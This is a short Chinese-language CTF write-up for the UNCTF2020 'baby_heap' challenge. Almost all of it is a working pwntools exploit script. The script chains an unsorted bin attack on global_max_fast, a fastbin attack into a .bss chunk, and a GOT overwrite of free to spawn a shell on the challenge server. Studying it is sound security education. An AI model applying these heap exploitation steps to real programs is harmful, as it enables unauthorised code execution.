UNCTF2020 Unsorted bin attack global_max_fast & fastbin attack bss chunk baby_heap

这道题大家都很熟悉了,这次用的是修改global_max_fast来使用fastbin attack的方法、 官方wp真的不太看得懂,可能还要学习一下IO_File leak相关知识。 官方wp的好处在于,保护全开的时候也能使用,主要是PIE和GOT。所以还是有学习的必要的。 话不多说,看代码吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-
from pwn import *
#r = process('./pwn')
r = remote('node2.hackingfor.fun', 35743)
elf = ELF('./pwn')
context.log_level = "debug"

def en(c):
    c = int(c, 16)
    return(c * c * c) % 33

def add_note(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("size?", str(size))
    r.sendlineafter("content?", "a")

def delete_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("index ?", str(idx))

def change_note(idx, content):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("index ?", str(idx))
    r.sendafter("what is your new content ?", content)

r.recvuntil("welcome to game+++++++\n")
data = r.recvuntil("\n", drop=True).split(' ')
free_list_addr = en(data[3]) * 0x1000 + en(data[2]) * 0x100 + en(data[1]) * 0x10 + en(data[0])
print 'free_list_addr: ' + hex(free_list_addr)

#malloc unsorted bin attack
add_note(0x18) #0
add_note(0x18) #1
add_note(0x88) #2
add_note(0x18) #3
change_note(0, 'a' * 0x18 + '\xb1')
delete_note(1)
add_note(0x18) #1
add_note(0x88) #4 == 2

#malloc fastbin chunk
add_note(0x18) #5
add_note(0x18) #6
add_note(0x68) #7
add_note(0x18) #8
change_note(5, 'a' * 0x18 + '\x91')
delete_note(6)
add_note(0x18) #6
add_note(0x68) #9 == 7

#unsorted bin attack(change global_max_fast)
delete_note(2) #2
change_note(4, p64(0) + p16(free_list_addr))
add_note(0x88) #2

#fastbin attack
delete_note(7) #7
#UAF => BSS Chunk
change_note(9, p64(0x6020C0 - 0x13)) #BSS chunk
add_note(0x68) #7
add_note(0x68) #10 BSS Chunk
size_payload = 'a' * 0x3 + p32(0x19) + p32(0x19) + p32(0x89) + p32(0x19) \
               + p32(0x89) + p32(0x19) + p32(0x19) + p32(0x69) \
               + p32(0x19) + p32(0x69) + p32(0xFFFF) + p32(0)
change_note(10, size_payload) #change size
change_note(10, size_payload + p64(0) * 2 * 7 + p64(elf.got['free'])) #change ptr_pool

change_note(0, p64(0x40097F)) #change_free_got => shell
#gdb.attach(r)
delete_note(0) #getshell
r.interactive()
0%